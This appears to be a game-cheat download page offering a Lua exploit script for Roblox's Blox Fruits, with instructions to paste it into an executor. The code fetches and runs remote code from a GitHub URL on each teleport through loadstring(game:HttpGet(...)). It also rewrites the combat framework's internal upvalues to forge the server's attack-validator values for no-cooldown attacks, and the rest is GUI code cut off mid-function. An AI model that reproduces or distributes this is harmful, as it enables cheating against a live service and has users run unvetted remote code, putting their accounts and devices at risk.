Nubxyz V2 Blox Fruit Script

Roblox Scripts is what Roblox players and coders use to build interactive games. To be more specific, players use Lua scripts—a popular scripting and programming language.

BloxScript4You


We do not any harmful on your devices we always check it before we post online.
Instruction
1.Open Roblox And Start Playing
2.Click The Blue Circle To Copy The Script Code
3.Paste The Script Code Into Your Executor
4.Then Execute The Script Code
5.Enjoy
Use your dummy account first we are not responsible if your account getting Ban.
Script Code
local queue_on_teleport = queue_on_teleport

if syn then queue_on_teleport = syn.queue_on_teleport end
queue_on_teleport([[   loadstring(game:HttpGet("https://raw.githubusercontent.com/accountnop/magmaisgay/main/magma"))()
]])

local plr = game.Players.LocalPlayer

local CbFw = debug.getupvalues(require(plr.PlayerScripts.CombatFramework))
local CbFw2 = CbFw[2]

function GetCurrentBlade() 
    local p13 = CbFw2.activeController
    local ret = p13.blades[1]
    if not ret then return end
    while ret.Parent~=game.Players.LocalPlayer.Character do ret=ret.Parent end
    return ret
end

function AttackNoCD() 
    local AC = CbFw2.activeController
    for i = 1, 1 do 
        local bladehit = require(game.ReplicatedStorage.CombatFramework.RigLib).getBladeHits(
            plr.Character,
            {plr.Character.HumanoidRootPart},
            60
        )
        local cac = {}
        local hash = {}
        for k, v in pairs(bladehit) do
            if v.Parent:FindFirstChild("HumanoidRootPart") and not hash[v.Parent] then
                table.insert(cac, v.Parent.HumanoidRootPart)
                hash[v.Parent] = true
            end
        end
        bladehit = cac
        if #bladehit > 0 then
            local u8 = debug.getupvalue(AC.attack, 5)
            local u9 = debug.getupvalue(AC.attack, 6)
            local u7 = debug.getupvalue(AC.attack, 4)
            local u10 = debug.getupvalue(AC.attack, 7)
            local u12 = (u8 * 798405 + u7 * 727595) % u9
            local u13 = u7 * 798405
            (function()
                u12 = (u12 * u9 + u13) % 1099511627776
                u8 = math.floor(u12 / u9)
                u7 = u12 - u8 * u9
            end)()
            u10 = u10 + 1
            debug.setupvalue(AC.attack, 5, u8)
            debug.setupvalue(AC.attack, 6, u9)
            debug.setupvalue(AC.attack, 4, u7)
            debug.setupvalue(AC.attack, 7, u10)
            pcall(function()
                for k, v in pairs(AC.animator.anims.basic) do
                    v:Play()
                end                  
            end)
            if plr.Character:FindFirstChildOfClass("Tool") and AC.blades and AC.blades[1] then 
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("weaponChange",tostring(GetCurrentBlade()))
                game.ReplicatedStorage.Remotes.Validator:FireServer(math.floor(u12 / 1099511627776 * 16777215), u10)
                game:GetService("ReplicatedStorage").RigControllerEvent:FireServer("hit", bladehit, i, "") 
            end
        end
    end
end

_G.Setting_table = {
    Auto_Farm = false,
    FastAttack = true,
	Auto_Buso = true,
	Auto_Ken = true,
	Show_Damage = true,
	NoClip = true,
	Save_Member = true,
	Melee_A = true,
	Defense_A = true,
	SkillZ = true,
	Rejoin = true,
	Anti_AFK = true,
	K_MAX = 50,
	Chest_Lock = 50,
	Delay_C = 15
}

_G.Check_Save_Setting = "CheckSaveSetting"

getgenv()['JsonEncode'] = function(msg)
    return game:GetService("HttpService"):JSONEncode(msg)
end
getgenv()['JsonDecode'] = function(msg)
    return game:GetService("HttpService"):JSONDecode(msg)
end
getgenv()['Check_Setting'] = function(Name)
    if not _G.Dis and not isfolder('Nub Saves') then
        makefolder('Nub Saves')
    end
    if not _G.Dis and not isfile('Nub Saves/'..Name..'.json') then
        writefile('Nub Saves/'..Name..'.json',JsonEncode(_G.Setting_table))
    end
end

getgenv()['Get_Setting'] = function(Name)
    if not _G.Dis and isfolder('Nub Saves') and isfile('Nub Saves/'..Name..'.json') then
        _G.Setting_table = JsonDecode(readfile('Nub Saves/'..Name..'.json'))
        return _G.Setting_table
	elseif not _G.Dis then
        Check_Setting(Name)
    end
end

getgenv()['Update_Setting'] = function(Name)
    if not _G.Dis and isfolder('Nub Saves') and isfile('Nub Saves/'..Name..'.json') then
        writefile('Nub Saves/'..Name..'.json',JsonEncode(_G.Setting_table))
	elseif not _G.Dis then
        Check_Setting(Name)
    end
end


local DINOHUB = Instance.new("ScreenGui")
local OPENCLOSE = Instance.new("TextButton")

DINOHUB.Name = "Nub Hub"
DINOHUB.Parent = game.CoreGui        --CoreGui
DINOHUB.ZIndexBehavior = Enum.ZIndexBehavior.Sibling


do local GUI = game.CoreGui:FindFirstChild("Nub Hub");if GUI then GUI:Destroy();end;if _G.Color == Color3.fromRGB(255, 0, 0) then
       _G.Color = Color3.fromRGB(255, 255, 255)
   end 
end

local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")

local function MakeDraggable(topbarobject, object)
	local Dragging = nil
	local DragInput = nil
	local DragStart = nil
	local StartPosition = nil

	local function Update(input)
		local Delta = input.Position - DragStart
		local pos = UDim2.new(StartPosition.X.Scale, StartPosition.X.Offset + Delta.X, StartPosition.Y.Scale, StartPosition.Y.Offset + Delta.Y)
		local Tween = TweenService:Create(object, TweenInfo.new(0.15), {Position = pos})
		Tween:Play()
	end

	topbarobject.InputBegan:Connect(
		function(input)
			if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
				Dragging = true
				DragStart = input.Position
				StartPosition = object.Position

				input.Changed:Connect(
					function()
						if input.UserInputState == Enum.UserInputState.End then
							Dragging = false
						end
					end
				)
			end
		end
	)

	topbarobject.InputChanged:Connect(
		function(input)
			if
				input.UserInputType == Enum.UserInputType.MouseMovement or
				input.UserInputType == Enum.UserInputType.Touch
			then
				DragInput = input
			end
		end
	)

	UserInputService.InputChanged:Connect(
		function(input)
			if input == DragInput and Dragging then
				Update(input)
			end
		end
	)
end

local Update = {}
local pfp = "https://www.roblox.com/headshot-thumbnail/image?userId=".. game.Players.LocalPlayer.UserId .."&width=420&height=420&format=png"

function Update:Window(text,logo,keybind)
	local uihide = false
	local abc = false
	local logo = logo or 7072707647
	local currentpage = ""
	local keybind = keybind or Enum.KeyCode.RightControl
	local yoo = string.gsub(tostring(keybind),"Enum.KeyCode.","")
	
	local SOMEXHUB = Instance.new("ScreenGui")
	SOMEXHUB.Name = "Nub Hub"
	SOMEXHUB.Parent = game.CoreGui
	SOMEXHUB.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

	local Main = Instance.new("Frame")
	Main.Name = "Main"
	Main.Parent = SOMEXHUB
	Main.ClipsDescendants = true
	Main.AnchorPoint = Vector2.new(0.5,0.5)
	Main.BackgroundColor3 = Color3.fromRGB(15, 15, 15)
	Main.Position = UDim2.new(0.5, 0, 0.5, 0)
	Main.Size = UDim2.new(0, 0, 0, 0)
	
	Main:TweenSize(UDim2.new(0, 656, 0, 400),"Out","Quad",0.4,true)

	local MCNR = Instance.new("UICorner")
	MCNR.Name = "MCNR"
	MCNR.Parent = Main

	local Top = Instance.new("Frame")
	Top.Name = "Top"
	Top.Parent = Main
	Top.BackgroundColor3 = Color3.fromRGB(20,20,20)
	Top.Size = UDim2.new(0, 656, 0, 27)

	local TCNR = Instance.new("UICorner")
	TCNR.Name = "TCNR"
	TCNR.Parent = Top

	local Logo = Instance.new("ImageLabel")
	Logo.Name = "Logo"
	Logo.Parent = Top
	Logo.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	Logo.BackgroundTransparency = 1.000
	Logo.Position = UDim2.new(0, 10, 0, 1)
	Logo.Size = UDim2.new(0, 25, 0, 25)
	Logo.Image = "rbxassetid://7072707647"

	local Name = Instance.new("TextLabel")
	Name.Name = "Name"
	Name.Parent = Top
	Name.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	Name.BackgroundTransparency = 1.000
	Name.Position = UDim2.new(0.0609756112, 0, 0, 0)
	Name.Size = UDim2.new(0, 61, 0, 27)
	Name.Font = Enum.Font.GothamBold
	Name.Text = text
	Name.TextColor3 = Color3.fromRGB(225, 225, 225)
	Name.TextSize = 17.000

	local Hub = Instance.new("TextLabel")
	Hub.Name = "Hub"
	Hub.Parent = Top
	Hub.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	Hub.BackgroundTransparency = 1.000
	Hub.Position = UDim2.new(0, 086, 0, 0)
	Hub.Size = UDim2.new(0, 81, 0, 27)
	Hub.Font = Enum.Font.GothamSemibold
	Hub.Text = ".xyz"
	Hub.TextColor3 = Color3.fromRGB(255, 20, 0)
	Hub.TextSize = 17.000
	Hub.TextXAlignment = Enum.TextXAlignment.Left

local version = game:HttpGet("https://raw.githubusercontent.com/accountnop/magmaisgay/main/version")
local ver = Instance.new("TextLabel")
	ver.Name = "ver"
	ver.Parent = Top
	ver.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	ver.BackgroundTransparency = 1.000
	ver.Position = UDim2.new(0.697561002, 0, 0, 0)
	ver.Size = UDim2.new(0, 81, 0, 27)
	ver.Font = Enum.Font.RobotoMono
	ver.Text = "Version: "..version
	ver.TextColor3 = Color3.fromRGB(255,255,255)
	ver.TextSize = 13.000
	ver.TextXAlignment = Enum.TextXAlignment.Left
	local ver1 = Instance.new("TextLabel")
	ver1.Name = "ver"
	ver1.Parent = Top
	ver1.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	ver1.BackgroundTransparency = 1.000
	ver1.Position = UDim2.new(0.497561002, 0, 0, 0)
	ver1.Size = UDim2.new(0, 81, 0, 27)
	ver1.Font = Enum.Font.RobotoMono
	ver1.Text = "N/A"
	ver1.TextColor3 = Color3.fromRGB(255,255,255)
	ver1.TextSize = 13.000
	ver1.TextXAlignment = Enum.TextXAlignment.Left
	 spawn(function()
	while wait() do
	ver1.Text = "Hours:"..os.date("%H")..":"..os.date("%M")..":"..os.date("%S")
	end
	end)

	local BindButton = Instance.new("TextButton")
	BindButton.Name = "BindButton"
	BindButton.Parent = Top
	BindButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	BindButton.BackgroundTransparency = 1.000
	BindButton.Position = UDim2.new(0.847561002, 0, 0, 0)
	BindButton.Size = UDim2.new(0, 100, 0, 27)
	BindButton.Font = Enum.Font.GothamSemibold
	BindButton.Text = "[ "..string.gsub(tostring(keybind),"Enum.KeyCode.","").." ]"
	BindButton.TextColor3 = Color3.fromRGB(100, 100, 100)
	BindButton.TextSize = 11.000
	
	BindButton.MouseButton1Click:Connect(function ()
		BindButton.Text = "[ ... ]"
		local inputwait = game:GetService("UserInputService").InputBegan:wait()
		local shiba = inputwait.KeyCode == Enum.KeyCode.Unknown and inputwait.UserInputType or inputwait.KeyCode

		if shiba.Name ~= "Focus" and shiba.Name ~= "MouseMovement" then
			BindButton.Text = "[ "..shiba.Name.." ]"
			yoo = shiba.Name
		end
	end)

	local Tab = Instance.new("Frame")
	Tab.Name = "Tab"
	Tab.Parent = Main
	Tab.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
	Tab.Position = UDim2.new(0, 5, 0, 30)
	Tab.Size = UDim2.new(0, 150, 0, 365)

	local TCNR = Instance.new("UICorner")
	TCNR.Name = "TCNR"
	TCNR.Parent = Tab

	local ScrollTab = Instance.new("ScrollingFrame")
	ScrollTab.Name = "ScrollTab"
	ScrollTab.Parent = Tab
	ScrollTab.Active = true
	ScrollTab.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	ScrollTab.BackgroundTransparency = 1.000
	ScrollTab.Size = UDim2.new(0, 150, 0, 365)
	ScrollTab.CanvasSize = UDim2.new(0, 0, 0, 0)
	ScrollTab.ScrollBarThickness = 0

	local PLL = Instance.new("UIListLayout")
	PLL.Name = "PLL"
	PLL.Parent = ScrollTab
	PLL.SortOrder = Enum.SortOrder.LayoutOrder
	PLL.Padding = UDim.new(0, 15)

	local PPD = Instance.new("UIPadding")
	PPD.Name = "PPD"
	PPD.Parent = ScrollTab
	PPD.PaddingLeft = UDim.new(0, 10)
	PPD.PaddingTop = UDim.new(0, 10)

	local Page = Instance.new("Frame")
	Page.Name = "Page"
	Page.Parent = Main
	Page.BackgroundColor3 = Color3.fromRGB(20,20,20)
	Page.Position = UDim2.new(0.245426834, 0, 0.075000003, 0)
	Page.Size = UDim2.new(0, 490, 0, 365)

	local PCNR = Instance.new("UICorner")
	PCNR.Name = "PCNR"
	PCNR.Parent = Page

	local MainPage = Instance.new("Frame")
	MainPage.Name = "MainPage"
	MainPage.Parent = Page
	MainPage.ClipsDescendants = true
	MainPage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
	MainPage.BackgroundTransparency = 1.000
	MainPage.Size = UDim2.new(0, 490, 0, 365)

	local PageList = Instance.new("Folder")
	PageList.Name = "PageList"
	PageList.Parent = MainPage

	local UIPageLayout = Instance.new("UIPageLayout")

	UIPageLayout.Parent = PageList
	UIPageLayout.SortOrder = Enum.SortOrder.LayoutOrder
	UIPageLayout.EasingDirection = Enum.EasingDirection.InOut
	UIPageLayout.EasingStyle = Enum.EasingStyle.Quad
	UIPageLayout.FillDirection = Enum.FillDirection.Vertical
	UIPageLayout.Padding = UDim.new(0, 15)
	UIPageLayout.TweenTime = 0.400
	UIPageLayout.GamepadInputEnabled = false
	UIPageLayout.ScrollWheelInputEnabled = false
	UIPageLayout.TouchInputEnabled = false
	
	MakeDraggable(Top,Main)

	UserInputService.InputBegan:Connect(function(input)
		if input.KeyCode == Enum.KeyCode[yoo] then
			if uihide == false then
				uihide = true
				Main:TweenSize(UDim2.new(0, 0, 0, 0),"In","Quad",0.4,true)
			else
				uihide = false
				Main:TweenSize(UDim2.new(0, 656, 0, 400),"Out","Quad",0.4,true)
			end
		end
	end)
	
	local uitab = {}
	
	function uitab:Tab(text,icon)
		local TabButton = Instance.new("TextButton")
		TabButton.Parent = ScrollTab
		TabButton.Name = text.."Server"
		TabButton.Text = text
		TabButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		TabButton.BackgroundTransparency = 1.000
		TabButton.Size = UDim2.new(0, 130, 0, 23)
		TabButton.Font = Enum.Font.GothamSemibold
		TabButton.TextColor3 = Color3.fromRGB(225, 225, 225)
		TabButton.TextSize = 15.000
		TabButton.TextTransparency = 0.500

		        local PageImage = Instance.new("ImageLabel")
            PageImage.Name = "PageImage"
            PageImage.Parent = TabButton
            PageImage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
            PageImage.BackgroundTransparency = 1.000
            PageImage.Position = UDim2.new(0, 5, 0, 5)
            PageImage.Size = UDim2.new(0, 19, 0, 19)
            PageImage.Image = "rbxassetid://"..tostring(icon)

		local MainFramePage = Instance.new("ScrollingFrame")
		MainFramePage.Name = text.."_Page"
		MainFramePage.Parent = PageList
		MainFramePage.Active = true
		MainFramePage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
		MainFramePage.BackgroundTransparency = 1.000
		MainFramePage.BorderSizePixel = 0
		MainFramePage.Size = UDim2.new(0, 490, 0, 365)
		MainFramePage.CanvasSize = UDim2.new(0, 0, 0, 0)
		MainFramePage.ScrollBarThickness = 0
		
		local UIPadding = Instance.new("UIPadding")
		local UIListLayout = Instance.new("UIListLayout")
		
		UIPadding.Parent = MainFramePage
		UIPadding.PaddingLeft = UDim.new(0, 10)
		UIPadding.PaddingTop = UDim.new(0, 10)

		UIListLayout.Padding = UDim.new(0,15)
		UIListLayout.Parent = MainFramePage
		UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
		
		TabButton.MouseButton1Click:Connect(function()
			for i,v in next, ScrollTab:GetChildren() do
				if v:IsA("TextButton") then
					TweenService:Create(
						v,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0.5}
					):Play()
				end
				TweenService:Create(
					TabButton,
					TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{TextTransparency = 0}
				):Play()
			end
			for i,v in next, PageList:GetChildren() do
				currentpage = string.gsub(TabButton.Name,"Server","").."_Page"
				if v.Name == currentpage then
					UIPageLayout:JumpTo(v)
				end
			end
		end)

		if abc == false then
			for i,v in next, ScrollTab:GetChildren() do
				if v:IsA("TextButton") then
					TweenService:Create(
						v,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0.5}
					):Play()
				end
				TweenService:Create(
					TabButton,
					TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{TextTransparency = 0}
				):Play()
			end
			UIPageLayout:JumpToIndex(1)
			abc = true
		end
		
		game:GetService("RunService").Stepped:Connect(function()
			pcall(function()
				MainFramePage.CanvasSize = UDim2.new(0,0,0,UIListLayout.AbsoluteContentSize.Y + 20)
				ScrollTab.CanvasSize = UDim2.new(0,0,0,PLL.AbsoluteContentSize.Y + 20)
			end)
		end)
		
		local main = {}
		function main:Button(text,callback)
			local Button = Instance.new("Frame")
			local UICorner = Instance.new("UICorner")
			local TextBtn = Instance.new("TextButton")
			local UICorner_2 = Instance.new("UICorner")
			local Black = Instance.new("Frame")
			local UICorner_3 = Instance.new("UICorner")
			
			Button.Name = "Button"
			Button.Parent = MainFramePage
			Button.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			Button.Size = UDim2.new(0, 470, 0, 31)
			
			UICorner.CornerRadius = UDim.new(0, 5)
			UICorner.Parent = Button
			
			TextBtn.Name = "TextBtn"
			TextBtn.Parent = Button
			TextBtn.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
			TextBtn.Position = UDim2.new(0, 1, 0, 1)
			TextBtn.Size = UDim2.new(0, 468, 0, 29)
			TextBtn.AutoButtonColor = false
			TextBtn.Font = Enum.Font.GothamSemibold
			TextBtn.Text = text
			TextBtn.TextColor3 = Color3.fromRGB(225, 225, 225)
			TextBtn.TextSize = 15.000
			
			UICorner_2.CornerRadius = UDim.new(0, 5)
			UICorner_2.Parent = TextBtn
			
			Black.Name = "Black"
			Black.Parent = Button
			Black.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
			Black.BackgroundTransparency = 1.000
			Black.BorderSizePixel = 0
			Black.Position = UDim2.new(0, 1, 0, 1)
			Black.Size = UDim2.new(0, 468, 0, 29)
			
			UICorner_3.CornerRadius = UDim.new(0, 5)
			UICorner_3.Parent = Black

			TextBtn.MouseEnter:Connect(function()
				TweenService:Create(
					Black,
					TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{BackgroundTransparency = 0.7}
				):Play()
			end)
			TextBtn.MouseLeave:Connect(function()
				TweenService:Create(
					Black,
					TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{BackgroundTransparency = 1}
				):Play()
			end)
			TextBtn.MouseButton1Click:Connect(function()
				TextBtn.TextSize = 0
				TweenService:Create(
					TextBtn,
					TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{TextSize = 15}
				):Play()
				callback()
			end)
		end
		function main:Toggle(text,config,callback)
			config = config or false
			local toggled = config
			local Toggle = Instance.new("Frame")
			local UICorner = Instance.new("UICorner")
			local Button = Instance.new("TextButton")
			local UICorner_2 = Instance.new("UICorner")
			local Label = Instance.new("TextLabel")
			local ToggleImage = Instance.new("Frame")
			local UICorner_3 = Instance.new("UICorner")
			local Circle = Instance.new("Frame")
			local UICorner_4 = Instance.new("UICorner")

			Toggle.Name = "Toggle"
			Toggle.Parent = MainFramePage
			Toggle.BackgroundColor3 = Color3.fromRGB(255,0,0)
			Toggle.Size = UDim2.new(0, 470, 0, 31)

			UICorner.CornerRadius = UDim.new(0, 5)
			UICorner.Parent = Toggle

			Button.Name = "Button"
			Button.Parent = Toggle
			Button.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
			Button.Position = UDim2.new(0, 1, 0, 1)
			Button.Size = UDim2.new(0, 468, 0, 29)
			Button.AutoButtonColor = false
			Button.Font = Enum.Font.SourceSans
			Button.Text = ""
			Button.TextColor3 = Color3.fromRGB(0, 0, 0)
			Button.TextSize = 11.000

			UICorner_2.CornerRadius = UDim.new(0, 5)
			UICorner_2.Parent = Button

			Label.Name = "Label"
			Label.Parent = Toggle
			Label.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			Label.BackgroundTransparency = 1.000
			Label.Position = UDim2.new(0, 1, 0, 1)
			Label.Size = UDim2.new(0, 468, 0, 29)
			Label.Font = Enum.Font.GothamSemibold
			Label.Text = text
			Label.TextColor3 = Color3.fromRGB(225, 225, 225)
			Label.TextSize = 15.000

			local account_circle = Instance.new("ImageLabel")

account_circle.Name = "account_circle"
account_circle.Parent = Toggle
account_circle.BackgroundTransparency = 1.000
account_circle.Position = UDim2.new(0, 5, 0, 4)
account_circle.Size = UDim2.new(0, 24, 0, 21)
account_circle.ZIndex = 2
account_circle.Image = "rbxassetid://3926307971"
account_circle.ImageRectOffset = Vector2.new(124, 204)
account_circle.ImageRectSize = Vector2.new(36, 36)

			ToggleImage.Name = "ToggleImage"
			ToggleImage.Parent = Toggle
			ToggleImage.BackgroundColor3 = Color3.fromRGB(225, 225, 225)
			ToggleImage.Position = UDim2.new(0, 415, 0, 5)
			ToggleImage.Size = UDim2.new(0, 45, 0, 20)

			UICorner_3.CornerRadius = UDim.new(0, 10)
			UICorner_3.Parent = ToggleImage

			Circle.Name = "Circle"
			Circle.Parent = ToggleImage
			Circle.BackgroundColor3 = Color3.fromRGB(227, 60, 60)
			Circle.Position = UDim2.new(0, 2, 0, 2)
			Circle.Size = UDim2.new(0, 16, 0, 16)

			UICorner_4.CornerRadius = UDim.new(0, 10)
			UICorner_4.Parent = Circle

			Button.MouseButton1Click:Connect(function()
				if toggled == false then
					toggled = true
					Circle:TweenPosition(UDim2.new(0,27,0,2),"Out","Sine",0.2,true)
					TweenService:Create(
						Circle,
						TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{BackgroundColor3 = Color3.fromRGB( 60, 179, 113)}
					):Play()
				else
					toggled = false
					Circle:TweenPosition(UDim2.new(0,2,0,2),"Out","Sine",0.2,true)
					TweenService:Create(
						Circle,
						TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{BackgroundColor3 = Color3.fromRGB(227, 60, 110)}
					):Play()
				end
				pcall(callback,toggled)
			end)

			if config == true then
				toggled = true
				Circle:TweenPosition(UDim2.new(0,27,0,2),"Out","Sine",0.4,true)
				TweenService:Create(
					Circle,
					TweenInfo.new(0.4,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{BackgroundColor3 = Color3.fromRGB(60, 179, 113)}
				):Play()
				pcall(callback,toggled)
			end
		end
		function main:Dropdown(text,option,callback)
			local isdropping = false
			local Dropdown = Instance.new("Frame")
			local UICorner = Instance.new("UICorner")
			local DropTitle = Instance.new("TextLabel")
			local DropScroll = Instance.new("ScrollingFrame")
			local UIListLayout = Instance.new("UIListLayout")
			local UIPadding = Instance.new("UIPadding")
			local DropButton = Instance.new("TextButton")
			local DropImage = Instance.new("ImageLabel")
			
			Dropdown.Name = "Dropdown"
			Dropdown.Parent = MainFramePage
			Dropdown.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
			Dropdown.ClipsDescendants = true
			Dropdown.Size = UDim2.new(0, 470, 0, 31)
			
			UICorner.CornerRadius = UDim.new(0, 5)
			UICorner.Parent = Dropdown
			
			DropTitle.Name = "DropTitle"
			DropTitle.Parent = Dropdown
			DropTitle.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			DropTitle.BackgroundTransparency = 1.000
			DropTitle.Size = UDim2.new(0, 470, 0, 31)
			DropTitle.Font = Enum.Font.GothamSemibold
			DropTitle.Text = text.. " : "
			DropTitle.TextColor3 = Color3.fromRGB(225, 225, 225)
			DropTitle.TextSize = 15.000
			
			DropScroll.Name = "DropScroll"
			DropScroll.Parent = DropTitle
			DropScroll.Active = true
			DropScroll.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			DropScroll.BackgroundTransparency = 1.000
			DropScroll.BorderSizePixel = 0
			DropScroll.Position = UDim2.new(0, 0, 0, 31)
			DropScroll.Size = UDim2.new(0, 470, 0, 100)
			DropScroll.CanvasSize = UDim2.new(0, 0, 0, 0)
			DropScroll.ScrollBarThickness = 3
			
			UIListLayout.Parent = DropScroll
			UIListLayout.SortOrder = Enum.SortOrder.LayoutOrder
			UIListLayout.Padding = UDim.new(0, 5)
			
			UIPadding.Parent = DropScroll
			UIPadding.PaddingLeft = UDim.new(0, 5)
			UIPadding.PaddingTop = UDim.new(0, 5)
			
			DropImage.Name = "DropImage"
			DropImage.Parent = Dropdown
			DropImage.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			DropImage.BackgroundTransparency = 1.000
			DropImage.Position = UDim2.new(0, 445, 0, 6)
			DropImage.Rotation = 180.000
			DropImage.Size = UDim2.new(0, 20, 0, 20)
			DropImage.Image = "rbxassetid://6031090990"
			
			DropButton.Name = "DropButton"
			DropButton.Parent = Dropdown
			DropButton.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
			DropButton.BackgroundTransparency = 1.000
			DropButton.Size = UDim2.new(0, 470, 0, 31)
			DropButton.Font = Enum.Font.SourceSans
			DropButton.Text = ""
			DropButton.TextColor3 = Color3.fromRGB(0, 0, 0)
			DropButton.TextSize = 14.000

			for i,v in next,option do
				local Item = Instance.new("TextButton")

				Item.Name = "Item"
				Item.Parent = DropScroll
				Item.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				Item.BackgroundTransparency = 1.000
				Item.Size = UDim2.new(0, 460, 0, 26)
				Item.Font = Enum.Font.GothamSemibold
				Item.Text = tostring(v)
				Item.TextColor3 = Color3.fromRGB(225, 225, 225)
				Item.TextSize = 13.000
				Item.TextTransparency = 0.500
				local person = Instance.new("ImageLabel")

--Properties:

person.Name = "person"
person.Parent = Item
person.BackgroundTransparency = 1.000
person.LayoutOrder = 6
person.Position = UDim2.new(0, 400, 0, 1)
person.Size = UDim2.new(0, 19, 0, 19)
person.ZIndex = 2
person.Image = "rbxassetid://3926307971"
person.ImageTransparency = 0.500
person.ImageRectOffset = Vector2.new(884, 4)
person.ImageRectSize = Vector2.new(36, 36)

				Item.MouseEnter:Connect(function()
					TweenService:Create(
						Item,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0}
					):Play()
				end)

				Item.MouseLeave:Connect(function()
					TweenService:Create(
						Item,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0.5}
					):Play()
				end)

				Item.MouseButton1Click:Connect(function()
					isdropping = false
					Dropdown:TweenSize(UDim2.new(0,470,0,31),"Out","Quad",0.3,true)
					TweenService:Create(
						DropImage,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{Rotation = 180}
					):Play()
					callback(Item.Text)
					DropTitle.Text = text.." : "..Item.Text
				end)
			end

			DropScroll.CanvasSize = UDim2.new(0,0,0,UIListLayout.AbsoluteContentSize.Y + 10)

			DropButton.MouseButton1Click:Connect(function()
				if isdropping == false then
					isdropping = true
					Dropdown:TweenSize(UDim2.new(0,470,0,131),"Out","Quad",0.3,true)
					TweenService:Create(
						DropImage,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{Rotation = 0}
					):Play()
				else
					isdropping = false
					Dropdown:TweenSize(UDim2.new(0,470,0,31),"Out","Quad",0.3,true)
					TweenService:Create(
						DropImage,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{Rotation = 180}
					):Play()
				end
			end)

			local dropfunc = {}
			function dropfunc:Add(t)
				local Item = Instance.new("TextButton")
				Item.Name = "Item"
				Item.Parent = DropScroll
				Item.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
				Item.BackgroundTransparency = 1.000
				Item.Size = UDim2.new(0, 470, 0, 26)
				Item.Font = Enum.Font.GothamSemibold
				Item.Text = tostring(t)
				Item.TextColor3 = Color3.fromRGB(225, 225, 225)
				Item.TextSize = 13.000
				Item.TextTransparency = 0.500

							local person = Instance.new("ImageLabel")

--Properties:

person.Name = "person"
person.Parent = Item
person.BackgroundTransparency = 1.000
person.LayoutOrder = 6
person.Position = UDim2.new(0, 400, 0, 1)
person.Size = UDim2.new(0, 19, 0, 19)
person.ZIndex = 2
person.Image = "rbxassetid://3926307971"
person.ImageTransparency = 0.500
person.ImageRectOffset = Vector2.new(884, 4)
person.ImageRectSize = Vector2.new(36, 36)

				Item.MouseEnter:Connect(function()
					TweenService:Create(
						Item,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0}
					):Play()
				end)

				Item.MouseLeave:Connect(function()
					TweenService:Create(
						Item,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{TextTransparency = 0.5}
					):Play()
				end)

				Item.MouseButton1Click:Connect(function()
					isdropping = false
					Dropdown:TweenSize(UDim2.new(0,470,0,31),"Out","Quad",0.3,true)
					TweenService:Create(
						DropImage,
						TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
						{Rotation = 180}
					):Play()
					callback(Item.Text)
					DropTitle.Text = text.." : "..Item.Text
				end)
			end
			function dropfunc:Clear()
				DropTitle.Text = tostring(text).." : "
				isdropping = false
				Dropdown:TweenSize(UDim2.new(0,470,0,31),"Out","Quad",0.3,true)
				TweenService:Create(
					DropImage,
					TweenInfo.new(0.3,Enum.EasingStyle.Quad,Enum.EasingDirection.Out),
					{Rotation = 180}
				):Play()
							local person = Instance.new("ImageLabel")

--Properties:

person.Name = "person"
person.Parent = Item
person.BackgroundTransparency = 1.000
person.LayoutOrder = 6
person.Position = UDim2.new(0, 400, 0, 1)
person.Size = UDim2.new(0, 19, 0, 19)
person.ZIndex = 2
person.Image = "rbxassetid://3926307971"
person.ImageTransparency = 0.500
person.ImageRectOffset = Vector2.new(884, 4)
